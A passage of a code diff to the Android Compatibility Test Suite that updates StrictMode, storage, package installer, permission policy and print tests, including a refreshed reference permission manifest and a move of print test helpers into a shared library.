+ final LinkedBlockingQueue<ViolationInfo> violations = new LinkedBlockingQueue<>();
+ StrictMode.setViolationLogger(violations::add);
try {
- r.run();
- while (true) {
- final String violation = violations.poll(5, TimeUnit.SECONDS);
- if (violation == null) {
- return;
- } else {
- fail("Unexpected violation found: " + violation);
- }
- }
+ violating.run();
+ consume.accept(violations.poll(5, TimeUnit.SECONDS));
} finally {
- StrictMode.setViolationListener(null);
+ StrictMode.setViolationLogger(null);
}
}
diff --git a/tests/tests/os/src/android/os/storage/cts/StorageManagerTest.java b/tests/tests/os/src/android/os/storage/cts/StorageManagerTest.java
index a820ac0..676465e 100644
--- a/tests/tests/os/src/android/os/storage/cts/StorageManagerTest.java
+++ b/tests/tests/os/src/android/os/storage/cts/StorageManagerTest.java
@@ -617,6 +617,38 @@
looperThread.join();
}
+ public void testOpenProxyFileDescriptor_largeFile() throws Exception {
+ final ProxyFileDescriptorCallback callback = new ProxyFileDescriptorCallback() {
+ @Override
+ public int onRead(long offset, int size, byte[] data) throws ErrnoException {
+ for (int i = 0; i < size; i++) {
+ data[i] = 'L';
+ }
+ return size;
+ }
+
+ @Override
+ public long onGetSize() throws ErrnoException {
+ return 8L * 1024L * 1024L * 1024L; // 8GB
+ }
+
+ @Override
+ public void onRelease() {}
+ };
+ final byte[] bytes = new byte[128];
+ try (final ParcelFileDescriptor fd = mStorageManager.openProxyFileDescriptor(
+ ParcelFileDescriptor.MODE_READ_ONLY, callback)) {
+ assertEquals(8L * 1024L * 1024L * 1024L, fd.getStatSize());
+
+ final int readBytes = Os.pread(
+ fd.getFileDescriptor(), bytes, 0, bytes.length, fd.getStatSize() - 64L);
+ assertEquals(64, readBytes);
+ for (int i = 0; i < 64; i++) {
+ assertEquals('L', bytes[i]);
+ }
+ }
+ }
+
private void assertStorageVolumesEquals(StorageVolume volume, StorageVolume clone)
throws Exception {
// Asserts equals() method.
diff --git a/tests/tests/packageinstaller/externalsources/src/android/packageinstaller/externalsources/cts/ExternalSourcesTest.java b/tests/tests/packageinstaller/externalsources/src/android/packageinstaller/externalsources/cts/ExternalSourcesTest.java
index 921f5f1..06e858e 100644
--- a/tests/tests/packageinstaller/externalsources/src/android/packageinstaller/externalsources/cts/ExternalSourcesTest.java
+++ b/tests/tests/packageinstaller/externalsources/src/android/packageinstaller/externalsources/cts/ExternalSourcesTest.java
@@ -41,7 +41,6 @@
private PackageManager mPm;
private String mPackageName;
private UiDevice mUiDevice;
- private boolean mHasFeature;
@Before
public void setUp() throws Exception {
@@ -49,7 +48,6 @@
mPm = mContext.getPackageManager();
mPackageName = mContext.getPackageName();
mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
- mHasFeature = !mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH);
}
private void setAppOpsMode(String mode) throws IOException {
@@ -86,9 +84,6 @@
@Test
public void testManageUnknownSourcesExists() {
- if (!mHasFeature) {
- return;
- }
Intent manageUnknownSources = new Intent(Settings.ACTION_MANAGE_UNKNOWN_APP_SOURCES);
ResolveInfo info = mPm.resolveActivity(manageUnknownSources, 0);
Assert.assertNotNull("No activity found for " + manageUnknownSources.getAction(), info);
diff --git a/tests/tests/permission/jni/Android.mk b/tests/tests/permission/jni/Android.mk
index e8b3f1a..1d4d77d 100644
--- a/tests/tests/permission/jni/Android.mk
+++ b/tests/tests/permission/jni/Android.mk
@@ -32,6 +32,6 @@
LOCAL_CPPFLAGS := -std=gnu++11
LOCAL_NDK_STL_VARIANT := c++_static
-LOCAL_CFLAGS := -Wno-unused-parameter
+LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/permission/jni/android_permission_cts_FileUtils.cpp b/tests/tests/permission/jni/android_permission_cts_FileUtils.cpp
index 068f684..68c3c76 100644
--- a/tests/tests/permission/jni/android_permission_cts_FileUtils.cpp
+++ b/tests/tests/permission/jni/android_permission_cts_FileUtils.cpp
@@ -106,7 +106,7 @@
{
__android_log_print(ANDROID_LOG_DEBUG, NULL,
"isPermittedCapBitSet(): getxattr(\"%s\") call failed: "
- "return %d (error: %s (%d))\n",
+ "return %zd (error: %s (%d))\n",
cPath.c_str(), result, strerror(errno), errno);
return false;
}
@@ -190,7 +190,7 @@
{
__android_log_print(ANDROID_LOG_DEBUG, NULL,
"fileHasOnly(): getxattr(\"%s\") call failed: "
- "return %d (error: %s (%d))\n",
+ "return %zd (error: %s (%d))\n",
cPath.c_str(), result, strerror(errno), errno);
return false;
}
diff --git a/tests/tests/permission2/res/raw/android_manifest.xml b/tests/tests/permission2/res/raw/android_manifest.xml
index a4dad83..670eb3c 100644
--- a/tests/tests/permission2/res/raw/android_manifest.xml
+++ b/tests/tests/permission2/res/raw/android_manifest.xml
@@ -309,6 +309,10 @@
<protected-broadcast android:name="com.android.server.usb.ACTION_OPEN_IN_APPS" />
<protected-broadcast android:name="com.android.server.am.DELETE_DUMPHEAP" />
<protected-broadcast android:name="com.android.server.net.action.SNOOZE_WARNING" />
+ <protected-broadcast android:name="com.android.server.wifi.ConnectToNetworkNotification.USER_DISMISSED_NOTIFICATION" />
+ <protected-broadcast android:name="com.android.server.wifi.ConnectToNetworkNotification.CONNECT_TO_NETWORK" />
+ <protected-broadcast android:name="com.android.server.wifi.ConnectToNetworkNotification.PICK_WIFI_NETWORK" />
+ <protected-broadcast android:name="com.android.server.wifi.ConnectToNetworkNotification.PICK_NETWORK_AFTER_FAILURE" />
<protected-broadcast android:name="android.net.wifi.WIFI_STATE_CHANGED" />
<protected-broadcast android:name="android.net.wifi.WIFI_AP_STATE_CHANGED" />
<protected-broadcast android:name="android.net.wifi.WIFI_CREDENTIAL_CHANGED" />
@@ -547,6 +551,9 @@
<protected-broadcast android:name="android.media.tv.action.CHANNEL_BROWSABLE_REQUESTED" />
<protected-broadcast android:name="com.android.server.InputMethodManagerService.SHOW_INPUT_METHOD_PICKER" />
+ <!-- Made protected in P (was introduced in JB-MR2) -->
+ <protected-broadcast android:name="android.intent.action.GET_RESTRICTION_ENTRIES" />
+
<!-- ====================================================================== -->
<!-- RUNTIME PERMISSIONS -->
<!-- ====================================================================== -->
@@ -563,6 +570,7 @@
android:icon="@drawable/perm_group_contacts"
android:label="@string/permgrouplab_contacts"
android:description="@string/permgroupdesc_contacts"
+ android:request="@string/permgrouprequest_contacts"
android:priority="100" />
<!-- Allows an application to read the user's contacts data.
@@ -593,6 +601,7 @@
android:icon="@drawable/perm_group_calendar"
android:label="@string/permgrouplab_calendar"
android:description="@string/permgroupdesc_calendar"
+ android:request="@string/permgrouprequest_calendar"
android:priority="200" />
<!-- Allows an application to read the user's calendar data.
@@ -623,6 +632,7 @@
android:icon="@drawable/perm_group_sms"
android:label="@string/permgrouplab_sms"
android:description="@string/permgroupdesc_sms"
+ android:request="@string/permgrouprequest_sms"
android:priority="300" />
<!-- Allows an application to send SMS messages.
@@ -699,6 +709,7 @@
android:icon="@drawable/perm_group_storage"
android:label="@string/permgrouplab_storage"
android:description="@string/permgroupdesc_storage"
+ android:request="@string/permgrouprequest_storage"
android:priority="900" />
<!-- Allows an application to read from external storage.
@@ -760,6 +771,7 @@
android:icon="@drawable/perm_group_location"
android:label="@string/permgrouplab_location"
android:description="@string/permgroupdesc_location"
+ android:request="@string/permgrouprequest_location"
android:priority="400" />
<!-- Allows an app to access precise location.
@@ -792,6 +804,7 @@
android:icon="@drawable/perm_group_phone_calls"
android:label="@string/permgrouplab_phone"
android:description="@string/permgroupdesc_phone"
+ android:request="@string/permgrouprequest_phone"
android:priority="500" />
<!-- Allows read only access to phone state, including the phone number of the device,
@@ -943,6 +956,7 @@
android:icon="@drawable/perm_group_microphone"
android:label="@string/permgrouplab_microphone"
android:description="@string/permgroupdesc_microphone"
+ android:request="@string/permgrouprequest_microphone"
android:priority="600" />
<!-- Allows an application to record audio.
@@ -985,6 +999,7 @@
android:icon="@drawable/perm_group_camera"
android:label="@string/permgrouplab_camera"
android:description="@string/permgroupdesc_camera"
+ android:request="@string/permgrouprequest_camera"
android:priority="700" />
<!-- Required to be able to access the camera device.
@@ -1014,6 +1029,7 @@
android:icon="@drawable/perm_group_sensors"
android:label="@string/permgrouplab_sensors"
android:description="@string/permgroupdesc_sensors"
+ android:request="@string/permgrouprequest_sensors"
android:priority="800" />
<!-- Allows an application to access data from sensors that the user uses to
@@ -1860,11 +1876,11 @@
<!-- @SystemApi @hide Allows an application to create/manage/remove stacks -->
<permission android:name="android.permission.MANAGE_ACTIVITY_STACKS"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged|development" />
<!-- @SystemApi @hide Allows an application to embed other activities -->
<permission android:name="android.permission.ACTIVITY_EMBEDDING"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged|development" />
<!-- Allows an application to start any activity, regardless of permission
protection or exported state.
@@ -2270,7 +2286,7 @@
<p>An application requesting this permission is responsible for
verifying the source and integrity of the update before passing
it off to the installer components.
- @hide -->
+ @SystemApi @hide -->
<permission android:name="android.permission.UPDATE_TIME_ZONE_RULES"
android:protectionLevel="signature|privileged" />
@@ -2390,7 +2406,8 @@
<permission android:name="android.permission.UPDATE_DEVICE_STATS"
android:protectionLevel="signature|privileged" />
- <!-- @SystemApi @hide Allows an application to collect battery statistics -->
+ <!-- @SystemApi @hide Allows an application to collect application operation statistics.
+ Not for use by third party apps. -->
<permission android:name="android.permission.GET_APP_OPS_STATS"
android:protectionLevel="signature|privileged|development" />
@@ -2415,10 +2432,10 @@
android:protectionLevel="signature" />
<!-- @SystemApi Allows an application to use
- {@link android.view.WindowManager.LayoutsParams#PRIVATE_FLAG_HIDE_NON_SYSTEM_OVERLAY_WINDOWS}
- to hide non-system-overlay windows.
- <p>Not for use by third-party applications.
- @hide
+ {@link android.view.WindowManager.LayoutsParams#PRIVATE_FLAG_HIDE_NON_SYSTEM_OVERLAY_WINDOWS}
+ to hide non-system-overlay windows.
+ <p>Not for use by third-party applications.
+ @hide
-->
<permission android:name="android.permission.HIDE_NON_SYSTEM_OVERLAY_WINDOWS"
android:protectionLevel="signature|installer" />
@@ -2625,10 +2642,6 @@
<permission android:name="android.permission.BIND_AUTOFILL_SERVICE"
android:protectionLevel="signature" />
- <!-- @hide TODO(b/37563972): remove once clients use BIND_AUTOFILL_SERVICE -->
- <permission android:name="android.permission.BIND_AUTOFILL"
- android:protectionLevel="signature" />
-
<!-- Must be required by hotword enrollment application,
to ensure that only the system can interact with it.
@hide <p>Not for use by third-party applications.</p> -->
@@ -2766,6 +2779,14 @@
<!-- @SystemApi Allows an application to install packages.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.INSTALL_PACKAGES"
+ android:protectionLevel="signature|privileged" />
+
+ <!-- @SystemApi Allows an application to install self updates. This is a limited version
+ of {@link android.Manifest.permission#INSTALL_PACKAGES}.
+ <p>Not for use by third-party applications.
+ @hide
+ -->
+ <permission android:name="android.permission.INSTALL_SELF_UPDATES"
android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to clear user data.
@@ -2877,6 +2898,13 @@
<permission android:name="android.permission.CONFIGURE_DISPLAY_COLOR_MODE"
android:protectionLevel="signature" />
+ <!-- Allows an application to collect usage infomation about brightness slider changes.
+ <p>Not for use by third-party applications.</p>
+ TODO: make a System API
+ @hide -->
+ <permission android:name="android.permission.BRIGHTNESS_SLIDER_USAGE"
+ android:protectionLevel="signature|privileged" />
+
<!-- @SystemApi Allows an application to control VPN.
<p>Not for use by third-party applications.</p>
@hide -->
@@ -3032,10 +3060,10 @@
android:protectionLevel="signature|privileged|development|appop" />
<uses-permission android:name="android.permission.PACKAGE_USAGE_STATS" />
- <!-- @hide Allows an application to change the app idle state of an app.
+ <!-- @hide @SystemApi Allows an application to change the app idle state of an app.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.CHANGE_APP_IDLE_STATE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature|privileged" />
<!-- @hide @SystemApi Allows an application to temporarily whitelist an inactive app to
access the network and acquire wakelocks.
@@ -3056,6 +3084,12 @@
<permission android:name="android.permission.BATTERY_STATS"
android:protectionLevel="signature|privileged|development" />
+ <!--Allows an application to manage statscompanion.
+ <p>Not for use by third-party applications.
+ @hide -->
+ <permission android:name="android.permission.STATSCOMPANION"
+ android:protectionLevel="signature" />
+
<!-- @SystemApi Allows an application to control the backup and restore process.
<p>Not for use by third-party applications.
@hide pending API council -->
@@ -3082,6 +3116,13 @@
<permission android:name="android.permission.BIND_APPWIDGET"
android:protectionLevel="signature|privileged" />
+ <!-- Allows an application to bind app's slices and get their
+ content. This content will be surfaced to the
+ user and not to leave the device.
+ <p>Not for use by third-party applications. -->
+ <permission android:name="android.permission.BIND_SLICE"
+ android:protectionLevel="signature|privileged|development" />
+
<!-- @SystemApi Private permission, to restrict who can bring up a dialog to add a new
keyguard widget
@hide -->
@@ -3126,6 +3167,11 @@
<permission android:name="android.permission.READ_SEARCH_INDEXABLES"
android:protectionLevel="signature|privileged" />
+ <!-- @SystemApi Internal permission to allows an application to bind to suggestion service.
+ @hide -->
+ <permission android:name="android.permission.BIND_SETTINGS_SUGGESTIONS_SERVICE"
+ android:protectionLevel="signature" />
+
<!-- @SystemApi Allows applications to set a live wallpaper.
@hide XXX Change to signature once the picker is moved to its
own apk as Ghod Intended. -->
@@ -3548,6 +3594,10 @@
<permission android:name="android.permission.INSTANT_APP_FOREGROUND_SERVICE"
android:protectionLevel="signature|development|instant|appop" />
+ <!-- @hide Allows system components to access all app shortcuts. -->
+ <permission android:name="android.permission.ACCESS_SHORTCUTS"
+ android:protectionLevel="signature" />
+
<application android:process="system"
android:persistent="true"
android:hasCode="false"
@@ -3788,14 +3838,6 @@
</intent-filter>
</receiver>
- <receiver android:name="com.android.server.updates.TzDataInstallReceiver"
- android:permission="android.permission.UPDATE_CONFIG">
- <intent-filter>
- <action android:name="android.intent.action.UPDATE_TZDATA" />
- <data android:scheme="content" android:host="*" android:mimeType="*/*" />
- </intent-filter>
- </receiver>
-
<receiver android:name="com.android.server.updates.CertificateTransparencyLogInstallReceiver"
android:permission="android.permission.UPDATE_CONFIG">
<intent-filter>
@@ -3836,6 +3878,16 @@
</intent-filter>
</receiver>
+ <receiver android:name="com.android.server.stats.StatsCompanionService$AnomalyAlarmReceiver"
+ android:permission="android.permission.STATSCOMPANION"
+ android:exported="false">
+ </receiver>
+
+ <receiver android:name="com.android.server.stats.StatsCompanionService$PollingAlarmReceiver"
+ android:permission="android.permission.STATSCOMPANION"
+ android:exported="false">
+ </receiver>
+
<service android:name="android.hardware.location.GeofenceHardwareService"
android:permission="android.permission.LOCATION_HARDWARE"
android:exported="false" />
@@ -3887,6 +3939,9 @@
android:permission="android.permission.BIND_JOB_SERVICE" >
</service>
+ <service android:name="com.android.server.timezone.TimeZoneUpdateIdler"
+ android:permission="android.permission.BIND_JOB_SERVICE" >
+ </service>
</application>
</manifest>
diff --git a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
index 35a99da..c883f03 100644
--- a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
@@ -140,7 +140,11 @@
// OEMs cannot define permissions in the platform namespace
for (String permission : declaredPermissionsMap.keySet()) {
if (permission.startsWith(PLATFORM_ROOT_NAMESPACE)) {
- offendingList.add("Cannot define permission in android namespace:" + permission);
+ final PermissionInfo permInfo = declaredPermissionsMap.get(permission);
+ offendingList.add(
+ "Cannot define permission " + permission
+ + ", package " + permInfo.packageName
+ + " in android namespace");
}
}
@@ -151,11 +155,9 @@
if (declaredGroup.packageName.equals(PLATFORM_PACKAGE_NAME)
|| declaredGroup.name.startsWith(PLATFORM_ROOT_NAMESPACE)) {
offendingList.add(
- "Cannot define group "
- + declaredGroup.name
- + ", package "
- + declaredGroup.packageName
- + " in android namespace");
+ "Cannot define group " + declaredGroup.name
+ + ", package " + declaredGroup.packageName
+ + " in android namespace");
}
}
}
diff --git a/tests/tests/print/Android.mk b/tests/tests/print/Android.mk
index c9b036a..aba1b80 100644
--- a/tests/tests/print/Android.mk
+++ b/tests/tests/print/Android.mk
@@ -16,7 +16,7 @@
include $(CLEAR_VARS)
-LOCAL_MODULE_TAGS := optional
+LOCAL_MODULE_TAGS := tests
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
@@ -27,8 +27,9 @@
LOCAL_PACKAGE_NAME := CtsPrintTestCases
-LOCAL_STATIC_JAVA_LIBRARIES := mockito-target-minus-junit4 ctstestrunner ub-uiautomator compatibility-device-util android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := print-test-util-lib
LOCAL_SDK_VERSION := test_current
include $(BUILD_CTS_PACKAGE)
+include $(call all-makefiles-under,$(LOCAL_PATH))
\ No newline at end of file
diff --git a/tests/tests/print/AndroidManifest.xml b/tests/tests/print/AndroidManifest.xml
index c5148c8..ef86c30 100644
--- a/tests/tests/print/AndroidManifest.xml
+++ b/tests/tests/print/AndroidManifest.xml
@@ -25,10 +25,12 @@
<uses-library android:name="android.test.runner"/>
- <activity android:name="android.print.cts.PrintDocumentActivity"/>
+ <activity
+ android:name="android.print.test.PrintDocumentActivity"
+ android:theme="@style/NoAnimation" />
<service
- android:name="android.print.cts.services.FirstPrintService"
+ android:name="android.print.test.services.FirstPrintService"
android:permission="android.permission.BIND_PRINT_SERVICE">
<intent-filter>
<action android:name="android.printservice.PrintService" />
@@ -40,7 +42,7 @@
</service>
<service
- android:name="android.print.cts.services.SecondPrintService"
+ android:name="android.print.test.services.SecondPrintService"
android:permission="android.permission.BIND_PRINT_SERVICE">
<intent-filter>
<action android:name="android.printservice.PrintService" />
@@ -52,25 +54,28 @@
</service>
<activity
- android:name="android.print.cts.services.SettingsActivity"
+ android:name="android.print.test.services.SettingsActivity"
+ android:theme="@style/NoAnimation"
android:exported="true">
</activity>
<activity
- android:name="android.print.cts.services.AddPrintersActivity"
+ android:name="android.print.test.services.AddPrintersActivity"
+ android:theme="@style/NoAnimation"
android:exported="true">
</activity>
<activity
- android:name="android.print.cts.services.InfoActivity"
- android:exported="true">
+ android:name="android.print.test.services.InfoActivity"
+ android:theme="@style/NoAnimation"
+ android:exported="true">
</activity>
<activity
- android:name="android.print.cts.services.CustomPrintOptionsActivity"
+ android:name="android.print.test.services.CustomPrintOptionsActivity"
android:permission="android.permission.START_PRINT_SERVICE_CONFIG_ACTIVITY"
android:exported="true"
- android:theme="@style/Theme.Translucent">
+ android:theme="@style/NoAnimationTranslucent">
</activity>
</application>
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/Android.mk b/tests/tests/print/printTestUtilLib/Android.mk
similarity index 69%
copy from hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/Android.mk
copy to tests/tests/print/printTestUtilLib/Android.mk
index 12a04ed..9b6086a 100644
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/Android.mk
+++ b/tests/tests/print/printTestUtilLib/Android.mk
@@ -1,4 +1,4 @@
-# Copyright (C) 2016 The Android Open Source Project
+# Copyright (C) 2017s The Android Open Source Project
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
@@ -16,16 +16,12 @@
include $(CLEAR_VARS)
-# Don't include this package in any target.
LOCAL_MODULE_TAGS := tests
LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_SDK_VERSION := current
+LOCAL_MODULE := print-test-util-lib
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_STATIC_JAVA_LIBRARIES := mockito-target-minus-junit4 ctstestrunner ub-uiautomator compatibility-device-util android-support-test
-LOCAL_PACKAGE_NAME := CtsDragAndDropSourceApp
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
+include $(BUILD_STATIC_JAVA_LIBRARY)
\ No newline at end of file
diff --git a/tests/tests/print/src/android/print/cts/BasePrintTest.java b/tests/tests/print/printTestUtilLib/src/android/print/test/BasePrintTest.java
similarity index 86%
rename from tests/tests/print/src/android/print/cts/BasePrintTest.java
rename to tests/tests/print/printTestUtilLib/src/android/print/test/BasePrintTest.java
index db1efd7..fbfff33 100644
--- a/tests/tests/print/src/android/print/cts/BasePrintTest.java
+++ b/tests/tests/print/printTestUtilLib/src/android/print/test/BasePrintTest.java
@@ -14,11 +14,11 @@
* limitations under the License.
*/
-package android.print.cts;
+package android.print.test;
import static android.content.pm.PackageManager.GET_META_DATA;
import static android.content.pm.PackageManager.GET_SERVICES;
-import static android.print.cts.Utils.getPrintManager;
+import static android.print.test.Utils.getPrintManager;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertTrue;
@@ -35,6 +35,7 @@
import android.app.Activity;
import android.app.Instrumentation;
import android.content.ComponentName;
+import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.content.pm.ResolveInfo;
@@ -50,12 +51,13 @@
import android.print.PrintDocumentAdapter.LayoutResultCallback;
import android.print.PrintDocumentAdapter.WriteResultCallback;
import android.print.PrintDocumentInfo;
+import android.print.PrintManager;
import android.print.PrinterId;
-import android.print.cts.services.PrintServiceCallbacks;
-import android.print.cts.services.PrinterDiscoverySessionCallbacks;
-import android.print.cts.services.StubbablePrintService;
-import android.print.cts.services.StubbablePrinterDiscoverySession;
import android.print.pdf.PrintedPdfDocument;
+import android.print.test.services.PrintServiceCallbacks;
+import android.print.test.services.PrinterDiscoverySessionCallbacks;
+import android.print.test.services.StubbablePrintService;
+import android.print.test.services.StubbablePrinterDiscoverySession;
import android.printservice.CustomPrinterIconCallback;
import android.printservice.PrintJob;
import android.provider.Settings;
@@ -104,10 +106,10 @@
* This is the base class for print tests.
*/
public abstract class BasePrintTest {
- private final static String LOG_TAG = "BasePrintTest";
+ private static final String LOG_TAG = "BasePrintTest";
- static final long OPERATION_TIMEOUT_MILLIS = 60000;
- static final String PRINT_JOB_NAME = "Test";
+ protected static final long OPERATION_TIMEOUT_MILLIS = 60000;
+ protected static final String PRINT_JOB_NAME = "Test";
static final String TEST_ID = "BasePrintTest.EXTRA_TEST_ID";
private static final String PRINT_SPOOLER_PACKAGE_NAME = "com.android.printspooler";
@@ -141,6 +143,7 @@
private CallCounter mLayoutCallCounter;
private CallCounter mWriteCallCounter;
private CallCounter mWriteCancelCallCounter;
+ private CallCounter mStartCallCounter;
private CallCounter mFinishCallCounter;
private CallCounter mPrintJobQueuedCallCounter;
private CallCounter mCreateSessionCallCounter;
@@ -264,6 +267,7 @@
Log.d(LOG_TAG, "init counters");
mCancelOperationCounter = new CallCounter();
mLayoutCallCounter = new CallCounter();
+ mStartCallCounter = new CallCounter();
mFinishCallCounter = new CallCounter();
mWriteCallCounter = new CallCounter();
mWriteCancelCallCounter = new CallCounter();
@@ -276,7 +280,7 @@
sIdToTest.put(mTestId, this);
// Create the activity if needed
- if (!mShouldStartActivityRule.noActivity) {
+ if (!mShouldStartActivityRule.mNoActivity) {
createActivity();
}
@@ -316,8 +320,17 @@
Log.d(LOG_TAG, "tearDownClass() done");
}
- protected void print(final PrintDocumentAdapter adapter, final PrintAttributes attributes) {
- print(adapter, "Print job", attributes);
+ protected android.print.PrintJob print(@NonNull final PrintDocumentAdapter adapter,
+ final PrintAttributes attributes) {
+ android.print.PrintJob[] printJob = new android.print.PrintJob[1];
+ // Initiate printing as if coming from the app.
+ getInstrumentation().runOnMainSync(() -> {
+ PrintManager printManager = (PrintManager) getActivity()
+ .getSystemService(Context.PRINT_SERVICE);
+ printJob[0] = printManager.print("Print job", adapter, attributes);
+ });
+
+ return printJob[0];
}
protected void print(PrintDocumentAdapter adapter) {
@@ -342,15 +355,19 @@
attributes));
}
- void onCancelOperationCalled() {
+ protected void onCancelOperationCalled() {
mCancelOperationCounter.call();
}
- void onLayoutCalled() {
+ public void onStartCalled() {
+ mStartCallCounter.call();
+ }
+
+ protected void onLayoutCalled() {
mLayoutCallCounter.call();
}
- int getWriteCallCount() {
+ protected int getWriteCallCount() {
return mWriteCallCounter.getCallCount();
}
@@ -362,15 +379,15 @@
mWriteCancelCallCounter.call();
}
- void onFinishCalled() {
+ protected void onFinishCalled() {
mFinishCallCounter.call();
}
- void onPrintJobQueuedCalled() {
+ protected void onPrintJobQueuedCalled() {
mPrintJobQueuedCallCounter.call();
}
- void onPrinterDiscoverySessionCreateCalled() {
+ protected void onPrinterDiscoverySessionCreateCalled() {
mCreateSessionCallCounter.call();
}
@@ -378,41 +395,46 @@
mDestroySessionCallCounter.call();
}
- void waitForCancelOperationCallbackCalled() {
+ protected void waitForCancelOperationCallbackCalled() {
waitForCallbackCallCount(mCancelOperationCounter, 1,
"Did not get expected call to onCancel for the current operation.");
}
- void waitForPrinterDiscoverySessionCreateCallbackCalled() {
+ protected void waitForPrinterDiscoverySessionCreateCallbackCalled() {
waitForCallbackCallCount(mCreateSessionCallCounter, 1,
"Did not get expected call to onCreatePrinterDiscoverySession.");
}
- void waitForPrinterDiscoverySessionDestroyCallbackCalled(int count) {
+ public void waitForPrinterDiscoverySessionDestroyCallbackCalled(int count) {
waitForCallbackCallCount(mDestroySessionCallCounter, count,
"Did not get expected call to onDestroyPrinterDiscoverySession.");
}
- void waitForServiceOnPrintJobQueuedCallbackCalled(int count) {
+ protected void waitForServiceOnPrintJobQueuedCallbackCalled(int count) {
waitForCallbackCallCount(mPrintJobQueuedCallCounter, count,
"Did not get expected call to onPrintJobQueued.");
}
- void waitForAdapterFinishCallbackCalled() {
+ protected void waitForAdapterStartCallbackCalled() {
+ waitForCallbackCallCount(mStartCallCounter, 1,
+ "Did not get expected call to start.");
+ }
+
+ protected void waitForAdapterFinishCallbackCalled() {
waitForCallbackCallCount(mFinishCallCounter, 1,
"Did not get expected call to finish.");
}
- void waitForLayoutAdapterCallbackCount(int count) {
+ protected void waitForLayoutAdapterCallbackCount(int count) {
waitForCallbackCallCount(mLayoutCallCounter, count,
"Did not get expected call to layout.");
}
- void waitForWriteAdapterCallback(int count) {
+ public void waitForWriteAdapterCallback(int count) {
waitForCallbackCallCount(mWriteCallCounter, count, "Did not get expected call to write.");
}
- void waitForWriteCancelCallback(int count) {
+ protected void waitForWriteCancelCallback(int count) {
waitForCallbackCallCount(mWriteCancelCallCounter, count,
"Did not get expected cancel of write.");
}
@@ -471,7 +493,7 @@
*
* @return The number of onDestroy calls on the print activity.
*/
- int getActivityDestroyCallbackCallCount() {
+ protected int getActivityDestroyCallbackCallCount() {
return mDestroyActivityCallCounter.getCallCount();
}
@@ -497,11 +519,12 @@
/**
* Reset all counters.
*/
- void resetCounters() {
+ public void resetCounters() {
mCancelOperationCounter.reset();
mLayoutCallCounter.reset();
mWriteCallCounter.reset();
mWriteCancelCallCounter.reset();
+ mStartCallCounter.reset();
mFinishCallCounter.reset();
mPrintJobQueuedCallCounter.reset();
mCreateSessionCallCounter.reset();
@@ -510,7 +533,24 @@
mCreateActivityCallCounter.reset();
}
- void selectPrinter(String printerName) throws UiObjectNotFoundException, IOException {
+ /**
+ * Wait until the message is shown that indicates that a printer is unavailable.
+ *
+ * @throws Exception If anything was unexpected.
+ */
+ protected void waitForPrinterUnavailable() throws Exception {
+ final String printerUnavailableMessage =
+ getPrintSpoolerString("print_error_printer_unavailable");
+
+ UiObject message = getUiDevice().findObject(new UiSelector().resourceId(
+ "com.android.printspooler:id/message"));
+ if (!message.getText().equals(printerUnavailableMessage)) {
+ throw new Exception("Wrong message: " + message.getText() + " instead of "
+ + printerUnavailableMessage);
+ }
+ }
+
+ protected void selectPrinter(String printerName) throws UiObjectNotFoundException, IOException {
try {
long delay = 1;
while (true) {
@@ -549,8 +589,8 @@
delay *= 2;
} else {
throw new UiObjectNotFoundException(
- "Could find printer " + printerName +
- " even though we retried");
+ "Could find printer " + printerName
+ + " even though we retried");
}
}
} else {
@@ -563,7 +603,7 @@
}
}
- void answerPrintServicesWarning(boolean confirm) throws UiObjectNotFoundException {
+ protected void answerPrintServicesWarning(boolean confirm) throws UiObjectNotFoundException {
UiObject button;
if (confirm) {
button = getUiDevice().findObject(new UiSelector().resourceId("android:id/button1"));
@@ -573,7 +613,8 @@
button.click();
}
- void changeOrientation(String orientation) throws UiObjectNotFoundException, IOException {
+ protected void changeOrientation(String orientation) throws UiObjectNotFoundException,
+ IOException {
try {
UiDevice uiDevice = getUiDevice();
UiObject orientationSpinner = uiDevice.findObject(new UiSelector().resourceId(
@@ -587,7 +628,7 @@
}
}
- protected String getOrientation() throws UiObjectNotFoundException, IOException {
+ public String getOrientation() throws UiObjectNotFoundException, IOException {
try {
UiObject orientationSpinner = getUiDevice().findObject(new UiSelector().resourceId(
"com.android.printspooler:id/orientation_spinner"));
@@ -598,7 +639,7 @@
}
}
- void changeMediaSize(String mediaSize) throws UiObjectNotFoundException, IOException {
+ protected void changeMediaSize(String mediaSize) throws UiObjectNotFoundException, IOException {
try {
UiDevice uiDevice = getUiDevice();
UiObject mediaSizeSpinner = uiDevice.findObject(new UiSelector().resourceId(
@@ -612,7 +653,7 @@
}
}
- void changeColor(String color) throws UiObjectNotFoundException, IOException {
+ protected void changeColor(String color) throws UiObjectNotFoundException, IOException {
try {
UiDevice uiDevice = getUiDevice();
UiObject colorSpinner = uiDevice.findObject(new UiSelector().resourceId(
@@ -626,7 +667,7 @@
}
}
- protected String getColor() throws UiObjectNotFoundException, IOException {
+ public String getColor() throws UiObjectNotFoundException, IOException {
try {
UiObject colorSpinner = getUiDevice().findObject(new UiSelector().resourceId(
"com.android.printspooler:id/color_spinner"));
@@ -637,7 +678,7 @@
}
}
